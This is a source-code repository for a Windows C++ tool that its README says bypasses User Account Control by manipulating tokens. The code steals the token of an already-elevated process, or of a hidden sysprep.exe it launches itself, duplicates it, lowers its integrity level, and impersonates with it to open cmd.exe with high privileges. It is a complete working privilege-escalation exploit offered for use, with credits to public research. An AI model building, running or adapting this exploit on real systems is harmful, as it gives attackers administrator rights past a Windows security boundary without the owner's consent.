├── .gitattributes
├── .gitignore
├── LICENSE
├── README.md
├── token_manipulation.sln
└── token_manipulation
├── main.cpp
├── ntdll.cpp
├── ntdll.hpp
├── safe_handle.cpp
├── safe_handle.hpp
├── stdafx.cpp
├── stdafx.h
├── targetver.h
├── token_manipulation.cpp
├── token_manipulation.hpp
├── token_manipulation.vcxproj
└── token_manipulation.vcxproj.filters
/.gitattributes:
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--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # token_manipulation
2 | Bypass User Account Control by manipulating tokens (*can* bypass AlwaysNotify)
3 |
4 | # Credits
5 | + https://tyranidslair.blogspot.com/2017/05/reading-your-way-around-uac-part-1.html
6 | + https://tyranidslair.blogspot.com/2017/05/reading-your-way-around-uac-part-2.html
7 | + https://tyranidslair.blogspot.com/2017/05/reading-your-way-around-uac-part-3.html
8 |
9 | # Showcase
10 | 
11 |
--------------------------------------------------------------------------------
/token_manipulation.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio 15
4 | VisualStudioVersion = 15.0.26430.15
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "token_manipulation", "token_manipulation\token_manipulation.vcxproj", "{D5B68DCE-6247-4E7B-A3AC-D303575523A2}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|x64 = Debug|x64
11 | Debug|x86 = Debug|x86
12 | Release|x64 = Release|x64
13 | Release|x86 = Release|x86
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {D5B68DCE-6247-4E7B-A3AC-D303575523A2}.Debug|x64.ActiveCfg = Debug|x64
17 | {D5B68DCE-6247-4E7B-A3AC-D303575523A2}.Debug|x64.Build.0 = Debug|x64
18 | {D5B68DCE-6247-4E7B-A3AC-D303575523A2}.Debug|x86.ActiveCfg = Debug|Win32
19 | {D5B68DCE-6247-4E7B-A3AC-D303575523A2}.Debug|x86.Build.0 = Debug|Win32
20 | {D5B68DCE-6247-4E7B-A3AC-D303575523A2}.Release|x64.ActiveCfg = Release|x64
21 | {D5B68DCE-6247-4E7B-A3AC-D303575523A2}.Release|x64.Build.0 = Release|x64
22 | {D5B68DCE-6247-4E7B-A3AC-D303575523A2}.Release|x86.ActiveCfg = Release|Win32
23 | {D5B68DCE-6247-4E7B-A3AC-D303575523A2}.Release|x86.Build.0 = Release|Win32
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | EndGlobal
29 |
--------------------------------------------------------------------------------
/token_manipulation/main.cpp:
--------------------------------------------------------------------------------
1 | // token_manipulation.cpp : Defines the entry point for the console application.
2 | //
3 |
4 | #include "stdafx.h"
5 | #include "token_manipulation.hpp"
6 | #include "ntdll.hpp"
7 |
8 | int main()
9 | {
10 | ntdll::initialise_functions();
11 | token_manipulation::run();
12 |
13 | std::cin.get();
14 |
15 | return 0;
16 | }
17 |
18 |
--------------------------------------------------------------------------------
/token_manipulation/ntdll.cpp:
--------------------------------------------------------------------------------
1 | #include "stdafx.h"
2 | #include "ntdll.hpp"
3 |
4 | fnNtOpenProcessToken ntdll::NtOpenProcessToken = nullptr;
5 | fnNtDuplicateToken ntdll::NtDuplicateToken = nullptr;
6 | fnRtlAllocateAndInitializeSid ntdll::RtlAllocateAndInitializeSid = nullptr;
7 | fnNtSetInformationToken ntdll::NtSetInformationToken = nullptr;
8 | fnRtlLengthSid ntdll::RtlLengthSid = nullptr;
9 | fnNtFilterToken ntdll::NtFilterToken = nullptr;
10 | fnNtSetInformationThread ntdll::NtSetInformationThread = nullptr;
11 |
12 | void ntdll::initialise_functions()
13 | {
14 | auto module_handle = GetModuleHandle(L"ntdll.dll");
15 | ntdll::NtOpenProcessToken = reinterpret_cast(GetProcAddress(module_handle, "NtOpenProcessToken"));
16 | ntdll::NtDuplicateToken = reinterpret_cast(GetProcAddress(module_handle, "NtDuplicateToken"));
17 | ntdll::RtlAllocateAndInitializeSid = reinterpret_cast(GetProcAddress(module_handle, "RtlAllocateAndInitializeSid"));
18 | ntdll::NtSetInformationToken = reinterpret_cast(GetProcAddress(module_handle, "NtSetInformationToken"));
19 | ntdll::RtlLengthSid = reinterpret_cast(GetProcAddress(module_handle, "RtlLengthSid"));
20 | ntdll::NtFilterToken = reinterpret_cast(GetProcAddress(module_handle, "NtFilterToken"));
21 | ntdll::NtSetInformationThread = reinterpret_cast(GetProcAddress(module_handle, "NtSetInformationThread"));
22 | }
23 |
--------------------------------------------------------------------------------
/token_manipulation/ntdll.hpp:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include "stdafx.h"
3 |
4 | #define CurrentThread ((HANDLE)(LONG_PTR)-2)
5 |
6 | typedef NTSTATUS (NTAPI* fnNtOpenProcessToken)(
7 | HANDLE ProcessHandle,
8 | ACCESS_MASK DesiredAccess,
9 | PHANDLE TokenHandle);
10 |
11 | typedef NTSTATUS (NTAPI* fnNtDuplicateToken)(
12 | HANDLE ExistingTokenHandle,
13 | ACCESS_MASK DesiredAccess,
14 | POBJECT_ATTRIBUTES ObjectAttributes,
15 | BOOLEAN EffectiveOnly,
16 | TOKEN_TYPE TokenType,
17 | PHANDLE NewTokenHandle
18 | );
19 |
20 | typedef NTSTATUS (NTAPI* fnRtlAllocateAndInitializeSid)(
21 | IN PSID_IDENTIFIER_AUTHORITY IdentifierAuthority,
22 | IN UCHAR SubAuthorityCount,
23 | IN ULONG SubAuthority0,
24 | IN ULONG SubAuthority1,
25 | IN ULONG SubAuthority2,
26 | IN ULONG SubAuthority3,
27 | IN ULONG SubAuthority4,
28 | IN ULONG SubAuthority5,
29 | IN ULONG SubAuthority6,
30 | IN ULONG SubAuthority7,
31 | OUT PSID *Sid
32 | );
33 |
34 | typedef NTSTATUS (NTAPI* fnNtSetInformationToken)(
35 | _In_ HANDLE TokenHandle,
36 | _In_ TOKEN_INFORMATION_CLASS TokenInformationClass,
37 | _In_ PVOID TokenInformation,
38 | _In_ ULONG TokenInformationLength
39 | );
40 |
41 | typedef NTSTATUS (NTAPI* fnNtFilterToken)(
42 | _In_ HANDLE ExistingTokenHandle,
43 | _In_ ULONG Flags,
44 | _In_opt_ PTOKEN_GROUPS SidsToDisable,
45 | _In_opt_ PTOKEN_PRIVILEGES PrivilegesToDelete,
46 | _In_opt_ PTOKEN_GROUPS RestrictedSids,
47 | _Out_ PHANDLE NewTokenHandle
48 | );
49 |
50 | typedef ULONG (NTAPI* fnRtlLengthSid)(
51 | PSID Sid
52 | );
53 |
54 | typedef NTSTATUS (NTAPI* fnNtClose)(
55 | _In_ HANDLE Handle
56 | );
57 |
58 |
59 | typedef NTSTATUS (NTAPI* fnNtSetInformationThread)(
60 | _In_ HANDLE ThreadHandle,
61 | _In_ THREADINFOCLASS ThreadInformationClass,
62 | _In_ PVOID ThreadInformation,
63 | _In_ ULONG ThreadInformationLength
64 | );
65 |
66 |
67 |
68 | namespace ntdll
69 | {
70 | void initialise_functions();
71 |
72 | extern fnNtOpenProcessToken NtOpenProcessToken;
73 | extern fnNtDuplicateToken NtDuplicateToken;
74 | extern fnRtlAllocateAndInitializeSid RtlAllocateAndInitializeSid;
75 | extern fnNtSetInformationToken NtSetInformationToken;
76 | extern fnRtlLengthSid RtlLengthSid;
77 | extern fnNtFilterToken NtFilterToken;
78 | extern fnNtSetInformationThread NtSetInformationThread;
79 | }
--------------------------------------------------------------------------------
/token_manipulation/safe_handle.cpp:
--------------------------------------------------------------------------------
1 | #include "stdafx.h"
2 | #include "safe_handle.hpp"
3 |
4 | safe_handle::~safe_handle()
5 | {
6 | if (m_handle)
7 | CloseHandle(m_handle);
8 | }
9 |
10 | void safe_handle::set_handle(HANDLE handle)
11 | {
12 | m_handle = handle;
13 | }
14 |
15 | HANDLE safe_handle::get_handle()
16 | {
17 | return m_handle;
18 | }
19 |
--------------------------------------------------------------------------------
/token_manipulation/safe_handle.hpp:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include "stdafx.h"
3 |
4 | class safe_handle
5 | {
6 | public:
7 | safe_handle() : m_handle(nullptr) {}
8 | safe_handle(HANDLE handle) : m_handle (handle) {}
9 | ~safe_handle();
10 | HANDLE get_handle();
11 | void set_handle(HANDLE);
12 |
13 | private:
14 | HANDLE m_handle;
15 | };
--------------------------------------------------------------------------------
/token_manipulation/stdafx.cpp:
--------------------------------------------------------------------------------
1 | // stdafx.cpp : source file that includes just the standard includes
2 | // token_manipulation.pch will be the pre-compiled header
3 | // stdafx.obj will contain the pre-compiled type information
4 |
5 | #include "stdafx.h"
6 |
7 | // TODO: reference any additional headers you need in STDAFX.H
8 | // and not in this file
9 |
--------------------------------------------------------------------------------
/token_manipulation/stdafx.h:
--------------------------------------------------------------------------------
1 | // stdafx.h : include file for standard system include files,
2 | // or project specific include files that are used frequently, but
3 | // are changed infrequently
4 | //
5 |
6 | #pragma once
7 |
8 | #include "targetver.h"
9 |
10 |
11 | #include
12 | #include
13 | #include
14 | #include
15 | #include
16 | #include
17 |
18 |
19 |
20 | // TODO: reference additional headers your program requires here
21 |
--------------------------------------------------------------------------------
/token_manipulation/targetver.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | // Including SDKDDKVer.h defines the highest available Windows platform.
4 |
5 | // If you wish to build your application for a previous Windows platform, include WinSDKVer.h and
6 | // set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h.
7 |
8 | #include
9 |
--------------------------------------------------------------------------------
/token_manipulation/token_manipulation.cpp:
--------------------------------------------------------------------------------
1 | #include "stdafx.h"
2 | #include "token_manipulation.hpp"
3 | #include "ntdll.hpp"
4 |
5 | /*
6 | * Thanks: CIA :)
7 | * https://tyranidslair.blogspot.com/2017/05/reading-your-way-around-uac-part-1.html
8 | * https://tyranidslair.blogspot.com/2017/05/reading-your-way-around-uac-part-2.html
9 | * https://tyranidslair.blogspot.com/2017/05/reading-your-way-around-uac-part-3.html
10 | */
11 |
12 | bool token_manipulation::run()
13 | {
14 | // FIRST WE SEARCH FOR ANY RUNNING ELEVATED APP IN SAME SECTION
15 | safe_handle process_handle;
16 | auto created_process = false;
17 | if (!token_manipulation::find_elevated_process(process_handle)) // NO ELEVATED PROCESSES FOUND - LAUNCH AUTO-ELEVATING EXECUTABLE & TRIGGER ALWAYS_NOTIFY :'(
18 | created_process = token_manipulation::launch_auto_elevating_app(process_handle);
19 |
20 | // OPEN ELEVATED PROCESS' TOKEN
21 | safe_handle token_handle;
22 | if (!token_manipulation::open_process_token(process_handle, MAXIMUM_ALLOWED, token_handle))
23 | {
24 | std::cout << "[!] open_process_token failed" << std::endl;
25 | return false;
26 | }
27 |
28 | std::cout << "[+] Process Id: " << GetProcessId(process_handle.get_handle()) << std::endl;
29 | std::cout << "[+] Token Handle: " << std::hex << reinterpret_cast(token_handle.get_handle()) << std::dec << std::endl;
30 |
31 | // IF CREATED, TERMINATE AUTO-ELEVATING PROCESS
32 | if (created_process)
33 | TerminateProcess(process_handle.get_handle(), 1);
34 |
35 | // DUPLICATE TOKEN WITH TOKEN_ALL_ACCESS
36 | safe_handle dup_token_handle;
37 | if (!token_manipulation::duplicate_token(token_handle, TOKEN_ALL_ACCESS, TokenPrimary, dup_token_handle))
38 | {
39 | std::cout << "[!] duplicate_token failed" << std::endl;
40 | return false;
41 | }
42 | std::cout << "[+] Duplicated Token Handle: " << std::hex << reinterpret_cast(dup_token_handle.get_handle()) << std::dec << std::endl;
43 |
44 | // LOWER TOKEN IL FROM HIGH -> MEDIUM
45 | if (!token_manipulation::lower_token_il(dup_token_handle))
46 | {
47 | std::cout << "[!] lower_token_il failed" << std::endl;
48 | return false;
49 | }
50 |
51 | // CREATE RESTRICTED TOKEN
52 | safe_handle restricted_token_handle;
53 | if (!token_manipulation::create_restricted_token(dup_token_handle, restricted_token_handle))
54 | {
55 | std::cout << "[!] create_restricted_token failed" << std::endl;
56 | return false;
57 | }
58 |
59 | // IMPERSONATE USING RESTRICTED TOKEN
60 | if (!token_manipulation::impersonate_user(restricted_token_handle))
61 | {
62 | std::cout << "[!] impersonate_user failed" << std::endl;
63 | return false;
64 | }
65 |
66 | // LAUNCH PAYLOAD WITH HIGH IL, BYPASSING UAC
67 | if (!token_manipulation::launch_payload())
68 | {
69 | std::cout << "[!] launch_payload failed" << std::endl;
70 | return false;
71 | }
72 |
73 | // REVERT IMPERSONATION AS THIS TOKEN HAS RESTRICTIONS
74 | if (!token_manipulation::revert_impersonation())
75 | {
76 | std::cout << "[!] revert_impersonation failed" << std::endl;
77 | return false;
78 | }
79 |
80 |
81 | return true;
82 | }
83 |
84 | bool token_manipulation::find_elevated_process(safe_handle& process_handle)
85 | {
86 | // ENUMERATE PROCESSES TO FIND AN ALREADY ELEVATED PROCESS
87 | // TO STEAL ITS TOKEN
88 |
89 | DWORD process_list[256], bytes_needed;
90 | if (EnumProcesses(process_list, sizeof(process_list), &bytes_needed))
91 | {
92 | auto amount = bytes_needed / sizeof(DWORD);
93 | for (size_t index = 0; index < amount; index++)
94 | {
95 | auto handle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, false, process_list[index]);
96 |
97 | if (token_manipulation::is_process_admin(handle))
98 | {
99 | process_handle.set_handle(handle);
100 | return true;
101 | }
102 |
103 | CloseHandle(handle);
104 | }
105 | }
106 |
107 | return NULL;
108 | }
109 | bool token_manipulation::open_process_token(safe_handle & process_handle, ACCESS_MASK desired_access, safe_handle& token_handle)
110 | {
111 | HANDLE temp_token_handle;
112 | auto status = ntdll::NtOpenProcessToken(process_handle.get_handle(), MAXIMUM_ALLOWED, &temp_token_handle);
113 | token_handle.set_handle(temp_token_handle);
114 |
115 | return NT_SUCCESS(status);
116 | }
117 | bool token_manipulation::duplicate_token(safe_handle& token_handle, ACCESS_MASK desired_access, _TOKEN_TYPE token_type, safe_handle& duplicated_token)
118 | {
119 | SECURITY_QUALITY_OF_SERVICE sqos;
120 | OBJECT_ATTRIBUTES obja;
121 | HANDLE dup_token_handle;
122 | sqos.Length = sizeof(SECURITY_QUALITY_OF_SERVICE);
123 | sqos.ImpersonationLevel = SecurityImpersonation;
124 | sqos.ContextTrackingMode = NULL;
125 | sqos.EffectiveOnly = false;
126 | InitializeObjectAttributes(&obja, NULL, NULL, NULL, NULL);
127 | obja.SecurityQualityOfService = &sqos;
128 |
129 | auto status = ntdll::NtDuplicateToken(token_handle.get_handle(), desired_access, &obja, false, token_type, &dup_token_handle);
130 |
131 | duplicated_token.set_handle(dup_token_handle);
132 |
133 | return NT_SUCCESS(status);
134 | }
135 | bool token_manipulation::create_restricted_token(safe_handle& token_handle, safe_handle& restricted_token)
136 | {
137 | HANDLE restricted_token_handle;
138 |
139 | auto status = ntdll::NtFilterToken(token_handle.get_handle(), LUA_TOKEN, NULL, NULL, NULL, &restricted_token_handle);
140 |
141 | restricted_token.set_handle(restricted_token_handle);
142 |
143 | return NT_SUCCESS(status);
144 | }
145 |
146 | bool token_manipulation::is_process_admin(HANDLE process)
147 | {
148 | HANDLE temp_token_handle;
149 | OpenProcessToken(process, TOKEN_READ, &temp_token_handle);
150 |
151 | auto token_handle = safe_handle(temp_token_handle);
152 |
153 | _TOKEN_ELEVATION_TYPE result;
154 | DWORD bytes_read;
155 | GetTokenInformation(token_handle.get_handle(), TokenElevationType, &result, sizeof(_TOKEN_ELEVATION_TYPE), &bytes_read);
156 |
157 | return result == TokenElevationTypeFull;
158 | }
159 | bool token_manipulation::lower_token_il(safe_handle& token_handle)
160 | {
161 | SID_IDENTIFIER_AUTHORITY authority = SECURITY_MANDATORY_LABEL_AUTHORITY;
162 | PSID integrity_sid = nullptr;
163 | auto status = ntdll::RtlAllocateAndInitializeSid(&authority,1, SECURITY_MANDATORY_MEDIUM_RID, NULL, NULL, NULL, NULL, NULL, NULL, NULL, &integrity_sid);
164 |
165 | if (!NT_SUCCESS(status))
166 | {
167 | std::cout << "[!] RtlAllocateAndInitializeSid failed" << std::endl;
168 | return false;
169 | }
170 |
171 | TOKEN_MANDATORY_LABEL token_label;
172 |
173 | token_label.Label.Attributes = SE_GROUP_INTEGRITY;
174 | token_label.Label.Sid = integrity_sid;
175 |
176 | status = ntdll::NtSetInformationToken(token_handle.get_handle(), TokenIntegrityLevel, &token_label,
177 | static_cast((sizeof(TOKEN_MANDATORY_LABEL) + ntdll::RtlLengthSid(integrity_sid))));
178 |
179 | return NT_SUCCESS(status);
180 | }
181 | bool token_manipulation::launch_auto_elevating_app(safe_handle& process_handle)
182 | {
183 | // RUN ELEVATED APP
184 | SHELLEXECUTEINFOW shinfo;
185 | shinfo.cbSize = sizeof(SHELLEXECUTEINFOW);
186 | shinfo.fMask = SEE_MASK_NOCLOSEPROCESS;
187 | shinfo.nShow = SW_HIDE;
188 | shinfo.lpFile = L"C:\\Windows\\System32\\sysprep\\sysprep.exe";
189 | shinfo.lpVerb = L"open";
190 |
191 | if (!ShellExecuteExW(&shinfo))
192 | {
193 | std::cout << "[!] ShellExecuteEx failed" << std::endl;
194 | return false;
195 | }
196 |
197 | process_handle.set_handle(shinfo.hProcess);
198 |
199 | return true;
200 | }
201 | bool token_manipulation::impersonate_user(safe_handle& token_handle)
202 | {
203 | safe_handle imp_token_handle;
204 | if (!token_manipulation::duplicate_token(token_handle, TOKEN_IMPERSONATE | TOKEN_QUERY, TokenImpersonation, imp_token_handle))
205 | return false;
206 |
207 | if (imp_token_handle.get_handle() == NULL)
208 | return false;
209 |
210 | auto status = ntdll::NtSetInformationThread(
211 | CurrentThread,
212 | static_cast(5), //ThreadImpersonationToken
213 | &imp_token_handle,
214 | sizeof(HANDLE));
215 |
216 | return NT_SUCCESS(status);
217 | }
218 | bool token_manipulation::revert_impersonation()
219 | {
220 | // REVERT TO SELF
221 | auto imp_token_handle = NULL;
222 | auto status = ntdll::NtSetInformationThread(
223 | CurrentThread,
224 | static_cast(5), //ThreadImpersonationToken
225 | &imp_token_handle,
226 | sizeof(HANDLE));
227 |
228 | return NT_SUCCESS(status);
229 | }
230 | bool token_manipulation::launch_payload()
231 | {
232 | STARTUPINFO si;
233 | PROCESS_INFORMATION pi;
234 |
235 | si.cb = sizeof(si);
236 | GetStartupInfo(&si);
237 | si.dwFlags = STARTF_USESHOWWINDOW;
238 | si.wShowWindow = SW_SHOW;
239 |
240 | auto result = CreateProcessWithLogonW(TEXT("."), TEXT("."), TEXT("."),
241 | LOGON_NETCREDENTIALS_ONLY,
242 | L"C:\\Windows\\System32\\cmd.exe",
243 | NULL, 0, NULL, nullptr,
244 | &si, &pi);
245 |
246 | CloseHandle(pi.hProcess);
247 | CloseHandle(pi.hThread);
248 |
249 | return result;
250 | }
251 |
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/token_manipulation/token_manipulation.hpp:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include "safe_handle.hpp"
3 |
4 | namespace token_manipulation
5 | {
6 | bool run();
7 | bool find_elevated_process(safe_handle& process_handle);
8 | bool open_process_token(safe_handle& process_handle, ACCESS_MASK desired_access, safe_handle& token_handle);
9 | bool duplicate_token(safe_handle& token_handle, ACCESS_MASK desired_access, _TOKEN_TYPE token_type, safe_handle& duplicated_token);
10 | bool create_restricted_token(safe_handle& token_handle, safe_handle& restricted_token);
11 | bool is_process_admin(HANDLE process_handle);
12 | bool lower_token_il(safe_handle& token_handle);
13 | bool launch_auto_elevating_app(safe_handle& process_handle);
14 | bool impersonate_user(safe_handle& token_handle);
15 | bool revert_impersonation();
16 | bool launch_payload();
17 | }
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